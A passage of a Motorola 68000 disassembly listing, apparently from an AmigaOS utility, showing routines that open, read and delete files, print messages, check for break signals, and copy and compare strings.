MOVE.L D6,D1 ;0DE4: 2206
JSR -126(A6) ;0DE6: 4EAEFF82
MOVE.L D0,D4 ;0DEA: 2800
LEA 330(A2),A0 ;0DEC: 41EA014A
MOVE.L A0,D1 ;0DF0: 2208
JSR -72(A6) ;0DF2: 4EAEFFB8
TST.L D0 ;0DF6: 4A80
BNE.S LAB_006A ;0DF8: 660E
JSR -132(A6) ;0DFA: 4EAEFF7C
MOVE.L D0,D1 ;0DFE: 2200
MOVEQ #0,D2 ;0E00: 7400
JSR -474(A6) ;0E02: 4EAEFE26
BRA.S LAB_006B ;0E06: 600A
LAB_006A:
LEA LAB_003E(PC),A0 ;0E08: 41FAFBBA
MOVE.L A0,D1 ;0E0C: 2208
JSR -948(A6) ;0E0E: 4EAEFC4C
LAB_006B:
MOVE.L D4,D1 ;0E12: 2204
JSR -126(A6) ;0E14: 4EAEFF82
BCLR #0,292(A2) ;0E18: 08AA00000124
LAB_006C:
TST.L D5 ;0E1E: 4A85
BEQ LAB_0057 ;0E20: 6700FD4C
LAB_006D:
CMPI.L #$00000130,D5 ;0E24: 0C8500000130
BNE.S LAB_006E ;0E2A: 6618
MOVE.L #$00000130,294(A2) ;0E2C: 257C000001300126
MOVEQ #5,D0 ;0E34: 7005
MOVE.L D0,298(A2) ;0E36: 2540012A
MOVEQ #64,D0 ;0E3A: 7040
MOVE.L D0,290(A2) ;0E3C: 25400122
BRA LAB_007E ;0E40: 60000222
LAB_006E:
MOVEA.L -32(A5),A2 ;0E44: 246DFFE0
BTST #6,293(A2) ;0E48: 082A00060125
BNE LAB_007E ;0E4E: 66000214
MOVEA.L -32(A5),A2 ;0E52: 246DFFE0
MOVEQ #116,D0 ;0E56: 7074
ADD.L D0,D0 ;0E58: D080
CMP.L D0,D5 ;0E5A: BA80
BEQ.S LAB_006F ;0E5C: 670C
MOVEA.L 4(A2),A6 ;0E5E: 2C6A0004
JSR -132(A6) ;0E62: 4EAEFF7C
MOVE.L D0,294(A2) ;0E66: 25400126
LAB_006F:
MOVEQ #0,D0 ;0E6A: 7000
MOVE.L D0,298(A2) ;0E6C: 2540012A
MOVE.L -20(A5),734(A2) ;0E70: 256DFFEC02DE
MOVE.L D0,722(A2) ;0E76: 254002D2
MOVEQ #1,D5 ;0E7A: 7A01
BRA LAB_007C ;0E7C: 600001BE
LAB_0070:
BTST #3,293(A2) ;0E80: 082A00030125
BEQ LAB_0076 ;0E86: 670000CA
MOVE.L D7,D0 ;0E8A: 2007
LSL.L #2,D0 ;0E8C: E588
ADD.L D7,D0 ;0E8E: D087
ADDQ.L #2,D0 ;0E90: 5480
MOVE.L D0,714(A2) ;0E92: 254002CA
MOVEA.L 734(A2),A3 ;0E96: 266A02DE
LEA 8(A3),A0 ;0E9A: 41EB0008
MOVE.L A0,718(A2) ;0E9E: 254802CE
LEA LAB_002A+2(PC),A0 ;0EA2: 41FAFA80
MOVE.L A0,722(A2) ;0EA6: 254802D2
MOVE.L 4(A3),D0 ;0EAA: 202B0004
MOVEQ #-4,D1 ;0EAE: 72FC
CMP.L D1,D0 ;0EB0: B081
BNE.S LAB_0071 ;0EB2: 6608
LEA LAB_003F(PC),A0 ;0EB4: 41FAFB18
MOVE.L A0,722(A2) ;0EB8: 254802D2
LAB_0071:
MOVEQ #3,D0 ;0EBC: 7003
CMP.L 4(A3),D0 ;0EBE: B0AB0004
BNE.S LAB_0072 ;0EC2: 6608
LEA LAB_0040(PC),A0 ;0EC4: 41FAFB0E
MOVE.L A0,722(A2) ;0EC8: 254802D2
LAB_0072:
LEA 714(A2),A3 ;0ECC: 47EA02CA
MOVE.L A3,-(A7) ;0ED0: 2F0B
MOVEA.L 326(A2),A0 ;0ED2: 206A0146
LEA LAB_0042(PC),A1 ;0ED6: 43FAFB02
BSR LAB_009A ;0EDA: 61000438
LEA LAB_003A(PC),A0 ;0EDE: 41FAFAC8
MOVE.L A0,714(A2) ;0EE2: 254802CA
BSET #7,293(A2) ;0EE6: 08EA00070125
LEA 330(A2),A0 ;0EEC: 41EA014A
MOVEA.L 734(A2),A1 ;0EF0: 226A02DE
ADDQ.L #8,A1 ;0EF4: 5089
MOVEQ #64,D0 ;0EF6: 7040
ADD.L D0,D0 ;0EF8: D080
JSR LAB_009C(PC) ;0EFA: 4EBA0454
ADDQ #4,A7 ;0EFE: 584F
BRA.S LAB_0074 ;0F00: 6024
LAB_0073:
MOVE.L 326(A2),D1 ;0F02: 222A0146
MOVE.L A3,D2 ;0F06: 240B
MOVEA.L 4(A2),A6 ;0F08: 2C6A0004
JSR -954(A6) ;0F0C: 4EAEFC46
LEA LAB_003B(PC),A0 ;0F10: 41FAFA98
MOVE.L A0,D1 ;0F14: 2208
MOVEQ #0,D2 ;0F16: 7400
JSR -954(A6) ;0F18: 4EAEFC46
MOVE.L D6,D0 ;0F1C: 2006
MOVEQ #1,D1 ;0F1E: 7201
MOVEA.L A2,A0 ;0F20: 204A
BSR LAB_0080 ;0F22: 6100015C
LAB_0074:
BTST #7,293(A2) ;0F26: 082A00070125
BNE.S LAB_0073 ;0F2C: 66D4
BTST #4,293(A2) ;0F2E: 082A00040125
BEQ.S LAB_0075 ;0F34: 670A
BCLR #4,293(A2) ;0F36: 08AA00040125
BRA LAB_007E ;0F3C: 60000126
LAB_0075:
MOVEA.L -32(A5),A2 ;0F40: 246DFFE0
BTST #6,293(A2) ;0F44: 082A00060125
BEQ LAB_007B ;0F4A: 670000E4
BRA LAB_007E ;0F4E: 60000114
LAB_0076:
MOVE.L #$00001000,D1 ;0F52: 223C00001000
MOVEA.L 4(A2),A6 ;0F58: 2C6A0004
JSR -792(A6) ;0F5C: 4EAEFCE8
TST.L D0 ;0F60: 4A80
BEQ.S LAB_0077 ;0F62: 6718
MOVEQ #64,D0 ;0F64: 7040
MOVE.L D0,290(A2) ;0F66: 25400122
MOVEQ #5,D0 ;0F6A: 7005
MOVE.L D0,298(A2) ;0F6C: 2540012A
MOVE.L #$00000130,294(A2) ;0F70: 257C000001300126
BRA LAB_007E ;0F78: 600000EA
LAB_0077:
MOVEA.L -32(A5),A2 ;0F7C: 246DFFE0
MOVE.L D5,D0 ;0F80: 2005
MOVEQ #1,D1 ;0F82: 7201
AND.L D1,D0 ;0F84: C081
ASL.L #7,D0 ;0F86: EF80
MOVEA.L A2,A0 ;0F88: 204A
ADDA.L D0,A0 ;0F8A: D1C0
LEA 458(A0),A3 ;0F8C: 47E801CA
MOVEA.L 734(A2),A0 ;0F90: 206A02DE
ADDQ.L #8,A0 ;0F94: 5088
MOVEA.L A0,A1 ;0F96: 2248
MOVEQ #32,D0 ;0F98: 7020
MOVEA.L A3,A0 ;0F9A: 204B
JSR LAB_009C(PC) ;0F9C: 4EBA03B2
MOVEA.L 734(A2),A0 ;0FA0: 206A02DE
MOVEQ #-4,D0 ;0FA4: 70FC
CMP.L 4(A0),D0 ;0FA6: B0A80004
BNE.S LAB_0078 ;0FAA: 660A
MOVEA.L A3,A0 ;0FAC: 204B
LEA LAB_003F(PC),A1 ;0FAE: 43FAFA1E
JSR LAB_00A7(PC) ;0FB2: 4EBA03E8
LAB_0078:
MOVEA.L 734(A2),A0 ;0FB6: 206A02DE
MOVEQ #3,D0 ;0FBA: 7003
CMP.L 4(A0),D0 ;0FBC: B0A80004
BNE.S LAB_0079 ;0FC0: 660A
MOVEA.L A3,A0 ;0FC2: 204B
LEA LAB_0040(PC),A1 ;0FC4: 43FAFA0E
JSR LAB_00A7(PC) ;0FC8: 4EBA03D2
LAB_0079:
MOVE.L D5,D0 ;0FCC: 2005
ASL.L #2,D0 ;0FCE: E580
MOVE.L D0,D1 ;0FD0: 2200
ADDI.L #$000002CA,D1 ;0FD2: 0681000002CA
MOVE.L A3,0(A2,D1.L) ;0FD8: 258B1800
MOVEQ #3,D0 ;0FDC: 7003
SUB.L D5,D0 ;0FDE: 9085
MOVE.L D0,D5 ;0FE0: 2A00
MOVEQ #1,D0 ;0FE2: 7001
CMP.L D0,D5 ;0FE4: BA80
BEQ.S LAB_007A ;0FE6: 6708
MOVEA.L 734(A2),A0 ;0FE8: 206A02DE
TST.L (A0) ;0FEC: 4A90
BNE.S LAB_007B ;0FEE: 6640
LAB_007A:
MOVE.L D7,D0 ;0FF0: 2007
LSL.L #2,D0 ;0FF2: E588
ADD.L D7,D0 ;0FF4: D087
ADDQ.L #2,D0 ;0FF6: 5480
MOVE.L D0,714(A2) ;0FF8: 254002CA
LEA 714(A2),A0 ;0FFC: 41EA02CA
MOVE.L A0,-(A7) ;1000: 2F08
MOVE.L A0,40(A7) ;1002: 2F480028
MOVEA.L 326(A2),A0 ;1006: 206A0146
LEA LAB_0045(PC),A1 ;100A: 43FAF9DC
BSR LAB_009A ;100E: 61000304
ADDQ #4,A7 ;1012: 584F
LEA LAB_003A(PC),A0 ;1014: 41FAF992
MOVE.L A0,714(A2) ;1018: 254802CA
MOVE.L 326(A2),D1 ;101C: 222A0146
MOVE.L 36(A7),D2 ;1020: 242F0024
MOVEA.L 4(A2),A6 ;1024: 2C6A0004
JSR -954(A6) ;1028: 4EAEFC46
CLR.L 722(A2) ;102C: 42AA02D2
LAB_007B:
MOVEA.L -32(A5),A2 ;1030: 246DFFE0
MOVEA.L 734(A2),A0 ;1034: 206A02DE
MOVE.L (A0),734(A2) ;1038: 255002DE
LAB_007C:
TST.L 734(A2) ;103C: 4AAA02DE
BEQ.S LAB_007E ;1040: 6722
TST.L 298(A2) ;1042: 4AAA012A
BEQ LAB_0070 ;1046: 6700FE38
BRA.S LAB_007E ;104A: 6018
LAB_007D:
MOVEA.L -20(A5),A0 ;104C: 206DFFEC
MOVE.L (A0),734(A2) ;1050: 255002DE
MOVEA.L -20(A5),A1 ;1054: 226DFFEC
MOVEA.L (A2),A6 ;1058: 2C52
JSR -690(A6) ;105A: 4EAEFD4E
MOVE.L 734(A2),-20(A5) ;105E: 2B6A02DEFFEC
LAB_007E:
TST.L -20(A5) ;1064: 4AADFFEC
BNE.S LAB_007D ;1068: 66E2
TST.L D6 ;106A: 4A86
BEQ.S LAB_007F ;106C: 670A
MOVE.L D6,D1 ;106E: 2206
MOVEA.L 4(A2),A6 ;1070: 2C6A0004
JSR -90(A6) ;1074: 4EAEFFA6
LAB_007F:
MOVEM.L (A7)+,D2-D7/A2-A3/A6 ;1078: 4CDF4CFC
UNLK A5 ;107C: 4E5D
RTS ;107E: 4E75
LAB_0080:
LINK A5,#-36 ;1080: 4E55FFDC
MOVEM.L D2-D3/D6-D7/A2-A3/A6,-(A7) ;1084: 48E73332
MOVEA.L A0,A3 ;1088: 2648
MOVE.L D0,D7 ;108A: 2E00
MOVE.L D1,D6 ;108C: 2C01
MOVEQ #0,D0 ;108E: 7000
MOVE.L D0,298(A3) ;1090: 2740012A
BSET #7,293(A3) ;1094: 08EB00070125
MOVEQ #23,D0 ;109A: 7017
MOVEQ #0,D1 ;109C: 7200
LEA -28(A5),A0 ;109E: 41EDFFE4
LAB_0081:
MOVE.B D1,(A0)+ ;10A2: 10C1
DBF D0,LAB_0081 ;10A4: 51C8FFFC
MOVEA.L 4(A3),A6 ;10A8: 2C6B0004
JSR -60(A6) ;10AC: 4EAEFFC4
MOVE.L D0,D1 ;10B0: 2200
JSR -360(A6) ;10B2: 4EAEFE98
MOVEQ #64,D0 ;10B6: 7040
ADD.L D0,D0 ;10B8: D080
MOVE.L #$00010001,D1 ;10BA: 223C00010001
MOVEA.L (A3),A6 ;10C0: 2C53
JSR -684(A6) ;10C2: 4EAEFD54
MOVE.L D0,28(A7) ;10C6: 2F40001C
TST.L D0 ;10CA: 4A80
BNE.S LAB_0082 ;10CC: 6624
MOVEA.L 4(A3),A6 ;10CE: 2C6B0004
JSR -132(A6) ;10D2: 4EAEFF7C
MOVE.L D0,294(A3) ;10D6: 27400126
LEA LAB_003D(PC),A0 ;10DA: 41FAF8D4
MOVE.L A0,D1 ;10DE: 2208
MOVEA.L 4(A3),A6 ;10E0: 2C6B0004
JSR -948(A6) ;10E4: 4EAEFC4C
MOVEQ #20,D0 ;10E8: 7014
MOVE.L D0,298(A3) ;10EA: 2740012A
BRA LAB_0098 ;10EE: 6000020E
LAB_0082:
TST.L D6 ;10F2: 4A86
BNE.S LAB_0083 ;10F4: 661A
LEA LAB_0047(PC),A0 ;10F6: 41FAF904
MOVE.L A0,D1 ;10FA: 2208
LEA -28(A5),A1 ;10FC: 43EDFFE4
MOVE.L A1,D2 ;1100: 2409
MOVEQ #0,D3 ;1102: 7600
MOVEA.L 4(A3),A6 ;1104: 2C6B0004
JSR -798(A6) ;1108: 4EAEFCE2
MOVEA.L D0,A2 ;110C: 2440
BRA.S LAB_0084 ;110E: 6018
LAB_0083:
LEA LAB_004B(PC),A0 ;1110: 41FAF924
MOVE.L A0,D1 ;1114: 2208
LEA -28(A5),A1 ;1116: 43EDFFE4
MOVE.L A1,D2 ;111A: 2409
MOVEQ #0,D3 ;111C: 7600
MOVEA.L 4(A3),A6 ;111E: 2C6B0004
JSR -798(A6) ;1122: 4EAEFCE2
MOVEA.L D0,A2 ;1126: 2440
LAB_0084:
MOVE.L A2,D0 ;1128: 200A
BNE.S LAB_0085 ;112A: 6612
JSR -132(A6) ;112C: 4EAEFF7C
MOVE.L D0,294(A3) ;1130: 27400126
MOVEQ #20,D0 ;1134: 7014
MOVE.L D0,298(A3) ;1136: 2740012A
BRA LAB_0097 ;113A: 600001B8
LAB_0085:
TST.L -28(A5) ;113E: 4AADFFE4
BEQ LAB_008B ;1142: 67000090
MOVEQ #1,D0 ;1146: 7001
CMP.L D0,D6 ;1148: BC80
BNE LAB_008B ;114A: 66000088
MOVE.L D7,D1 ;114E: 2207
JSR -126(A6) ;1150: 4EAEFF82
MOVE.L D0,D6 ;1154: 2C00
LEA 330(A3),A0 ;1156: 41EB014A
MOVE.L A0,D1 ;115A: 2208
MOVE.L #$000003ED,D2 ;115C: 243C000003ED
JSR -30(A6) ;1162: 4EAEFFE2
MOVE.L D0,D7 ;1166: 2E00
TST.L D7 ;1168: 4A87
BNE.S LAB_0088 ;116A: 663C
JSR -132(A6) ;116C: 4EAEFF7C
MOVE.L D0,294(A3) ;1170: 27400126
MOVEQ #20,D0 ;1174: 7014
MOVE.L D0,298(A3) ;1176: 2740012A
BRA.S LAB_008A ;117A: 604A
LAB_0086:
MOVE.L #$00001000,D1 ;117C: 223C00001000
MOVEA.L 4(A3),A6 ;1182: 2C6B0004
JSR -792(A6) ;1186: 4EAEFCE8
TST.L D0 ;118A: 4A80
BEQ.S LAB_0087 ;118C: 670E
MOVE.L #$00000130,D1 ;118E: 223C00000130
MOVEQ #0,D2 ;1194: 7400
JSR -474(A6) ;1196: 4EAEFE26
BRA.S LAB_0089 ;119A: 6020
LAB_0087:
LEA -29(A5),A0 ;119C: 41EDFFE3
MOVE.L A0,D1 ;11A0: 2208
MOVEQ #1,D2 ;11A2: 7401
JSR -942(A6) ;11A4: 4EAEFC52
LAB_0088:
MOVE.L D7,D1 ;11A8: 2207
MOVEA.L 4(A3),A6 ;11AA: 2C6B0004
JSR -306(A6) ;11AE: 4EAEFECE
MOVE.B D0,-29(A5) ;11B2: 1B40FFE3
CMPI.B #$FF,D0 ;11B6: 0C0000FF
BNE.S LAB_0086 ;11BA: 66C0
LAB_0089:
MOVE.L D7,D1 ;11BC: 2207
MOVEA.L 4(A3),A6 ;11BE: 2C6B0004
JSR -36(A6) ;11C2: 4EAEFFDC
LAB_008A:
MOVE.L D6,D1 ;11C6: 2206
MOVEA.L 4(A3),A6 ;11C8: 2C6B0004
JSR -126(A6) ;11CC: 4EAEFF82
BRA LAB_0096 ;11D0: 60000118
LAB_008B:
TST.L -12(A5) ;11D4: 4AADFFF4
BEQ.S LAB_008D ;11D8: 676C
MOVE.L -8(A5),D0 ;11DA: 202DFFF8
BEQ.S LAB_008C ;11DE: 671C
MOVE.L D0,D1 ;11E0: 2200
MOVEQ #0,D2 ;11E2: 7400
MOVE.L D2,D3 ;11E4: 2602
MOVEA.L 4(A3),A6 ;11E6: 2C6B0004
JSR -222(A6) ;11EA: 4EAEFF22
LEA LAB_003C(PC),A0 ;11EE: 41FAF7BE
MOVE.L A0,D1 ;11F2: 2208
JSR -948(A6) ;11F4: 4EAEFC4C
BRA LAB_0096 ;11F8: 600000F0
LAB_008C:
LEA LAB_004C(PC),A0 ;11FC: 41FAF870
MOVE.L A0,D1 ;1200: 2208
MOVEA.L 4(A3),A6 ;1202: 2C6B0004
JSR -948(A6) ;1206: 4EAEFC4C
JSR -60(A6) ;120A: 4EAEFFC4
MOVE.L D0,D1 ;120E: 2200
JSR -360(A6) ;1210: 4EAEFE98
JSR -54(A6) ;1214: 4EAEFFCA
MOVE.L D0,D1 ;1218: 2200
MOVE.L 28(A7),D2 ;121A: 242F001C
MOVE.L #$00000800,D3 ;121E: 263C00000800
JSR -336(A6) ;1224: 4EAEFEB0
TST.L D0 ;1228: 4A80
BEQ LAB_0096 ;122A: 670000BE
MOVE.L D2,D1 ;122E: 2202
MOVEQ #0,D2 ;1230: 7400
MOVE.L D2,D3 ;1232: 2602
JSR -222(A6) ;1234: 4EAEFF22
LEA LAB_003C(PC),A0 ;1238: 41FAF774
MOVE.L A0,D1 ;123C: 2208
JSR -948(A6) ;123E: 4EAEFC4C
BRA LAB_0096 ;1242: 600000A6
LAB_008D:
TST.L -8(A5) ;1246: 4AADFFF8
BEQ.S LAB_008E ;124A: 6712
LEA LAB_004D(PC),A0 ;124C: 41FAF82C
MOVE.L A0,D1 ;1250: 2208
MOVEA.L 4(A3),A6 ;1252: 2C6B0004
JSR -948(A6) ;1256: 4EAEFC4C
BRA LAB_0096 ;125A: 6000008E
LAB_008E:
TST.L -16(A5) ;125E: 4AADFFF0
BEQ.S LAB_008F ;1262: 6708
MOVEQ #64,D0 ;1264: 7040
MOVE.L D0,290(A3) ;1266: 27400122
BRA.S LAB_0095 ;126A: 6078
LAB_008F:
TST.L -24(A5) ;126C: 4AADFFE8
BEQ.S LAB_0090 ;1270: 670E
BSET #3,24(A3) ;1272: 08EB00030018
BSET #4,293(A3) ;1278: 08EB00040125
BRA.S LAB_0095 ;127E: 6064
LAB_0090:
TST.L -28(A5) ;1280: 4AADFFE4
BEQ.S LAB_0091 ;1284: 670C
TST.L D6 ;1286: 4A86
BNE.S LAB_0091 ;1288: 6608
BSET #5,293(A3) ;128A: 08EB00050125
BRA.S LAB_0095 ;1290: 6052
LAB_0091:
TST.L -20(A5) ;1292: 4AADFFEC
BEQ.S LAB_0095 ;1296: 674C
MOVEQ #1,D0 ;1298: 7001
CMP.L D0,D6 ;129A: BC80
BNE.S LAB_0094 ;129C: 6640
MOVE.L D7,D1 ;129E: 2207
MOVEA.L 4(A3),A6 ;12A0: 2C6B0004
JSR -126(A6) ;12A4: 4EAEFF82
MOVE.L D0,D6 ;12A8: 2C00
LEA 330(A3),A0 ;12AA: 41EB014A
MOVE.L A0,D1 ;12AE: 2208
JSR -72(A6) ;12B0: 4EAEFFB8
TST.L D0 ;12B4: 4A80
BNE.S LAB_0092 ;12B6: 6610
JSR -132(A6) ;12B8: 4EAEFF7C
MOVE.L D0,294(A3) ;12BC: 27400126
MOVEQ #10,D0 ;12C0: 700A
MOVE.L D0,298(A3) ;12C2: 2740012A
BRA.S LAB_0093 ;12C6: 600A
LAB_0092:
LEA LAB_003E(PC),A0 ;12C8: 41FAF6FA
MOVE.L A0,D1 ;12CC: 2208
JSR -948(A6) ;12CE: 4EAEFC4C
LAB_0093:
MOVE.L D6,D1 ;12D2: 2206
MOVEA.L 4(A3),A6 ;12D4: 2C6B0004
JSR -126(A6) ;12D8: 4EAEFF82
BRA.S LAB_0095 ;12DC: 6006
LAB_0094:
BSET #0,292(A3) ;12DE: 08EB00000124
LAB_0095:
BCLR #7,293(A3) ;12E4: 08AB00070125
LAB_0096:
MOVE.L A2,D1 ;12EA: 220A
MOVEA.L 4(A3),A6 ;12EC: 2C6B0004
JSR -858(A6) ;12F0: 4EAEFCA6
LAB_0097:
MOVEA.L 28(A7),A1 ;12F4: 226F001C
MOVEA.L (A3),A6 ;12F8: 2C53
JSR -690(A6) ;12FA: 4EAEFD4E
LAB_0098:
MOVEM.L (A7)+,D2-D3/D6-D7/A2-A3/A6 ;12FE: 4CDF4CCC
UNLK A5 ;1302: 4E5D
RTS ;1304: 4E75
LAB_0099:
LINK A5,#-4 ;1306: 4E55FFFC
MOVE.L D0,-4(A5) ;130A: 2B40FFFC
MOVE.B D0,(A3)+ ;130E: 16C0
UNLK A5 ;1310: 4E5D
RTS ;1312: 4E75
LAB_009A:
LINK A5,#0 ;1314: 4E550000
MOVEM.L A2-A3/A6,-(A7) ;1318: 48E70032
MOVEA.L A0,A3 ;131C: 2648
MOVEA.L A1,A2 ;131E: 2449
MOVEM.L A2-A3,-(A7) ;1320: 48E70030
MOVEA.L A2,A0 ;1324: 204A
MOVEA.L 8(A5),A1 ;1326: 226D0008
LEA LAB_0099(PC),A2 ;132A: 45FAFFDA
MOVEA.L (ABSEXECBASE).W,A6 ;132E: 2C780004
JSR -522(A6) ;1332: 4EAEFDF6
MOVEM.L (A7)+,A2-A3 ;1336: 4CDF0C00
MOVEA.L A3,A0 ;133A: 204B
LAB_009B:
TST.B (A0)+ ;133C: 4A18
BNE.S LAB_009B ;133E: 66FC
SUBQ.L #1,A0 ;1340: 5388
SUBA.L A3,A0 ;1342: 91CB
MOVE.L A0,D0 ;1344: 2008
MOVEM.L (A7)+,A2-A3/A6 ;1346: 4CDF4C00
UNLK A5 ;134A: 4E5D
RTS ;134C: 4E75
DC.W $0000 ;134E
LAB_009C:
MOVE.L A0,D1 ;1350: 2208
BRA.S LAB_009E ;1352: 6004
LAB_009D:
MOVE.B (A1)+,(A0)+ ;1354: 10D9
BEQ.S LAB_00A0 ;1356: 6708
LAB_009E:
SUBQ.L #1,D0 ;1358: 5380
BCC.S LAB_009D ;135A: 64F8
BRA.S LAB_00A1 ;135C: 6006
LAB_009F:
CLR.B (A0)+ ;135E: 4218
LAB_00A0:
SUBQ.L #1,D0 ;1360: 5380
BCC.S LAB_009F ;1362: 64FA
LAB_00A1:
MOVE.L D1,D0 ;1364: 2001
RTS ;1366: 4E75
LAB_00A2:
MOVEQ #0,D0 ;1368: 7000
MOVEQ #0,D1 ;136A: 7200
LAB_00A3:
MOVE.B (A0)+,D0 ;136C: 1018
MOVE.B (A1)+,D1 ;136E: 1219
CMPI.B #$61,D0 ;1370: 0C000061
BLT.S LAB_00A4 ;1374: 6D0A
CMPI.B #$7A,D0 ;1376: 0C00007A
BGT.S LAB_00A4 ;137A: 6E04
SUBI.B #$20,D0 ;137C: 04000020
LAB_00A4:
CMPI.B #$61,D1 ;1380: 0C010061
BLT.S LAB_00A5 ;1384: 6D0A
CMPI.B #$7A,D1 ;1386: 0C01007A
BGT.S LAB_00A5 ;138A: 6E04
SUBI.B #$20,D1 ;138C: 04010020
LAB_00A5:
SUB.L D1,D0 ;1390: 9081
BNE.S LAB_00A6 ;1392: 6604
TST.B D1 ;1394: 4A01
BNE.S LAB_00A3 ;1396: 66D4
LAB_00A6:
RTS ;1398: 4E75
DC.W $0000 ;139A
LAB_00A7:
MOVE.L A0,D0 ;139C: 2008
LAB_00A8:
TST.B (A0)+ ;139E: 4A18
BNE.S LAB_00A8 ;13A0: 66FC
SUBQ.L #1,A0 ;13A2: 5388
LAB_00A9:
MOVE.B (A1)+,(A0)+ ;13A4: 10D9
BNE.S LAB_00A9 ;13A6: 66FC
RTS ;13A8: 4E75
DC.W $0000 ;13AA
END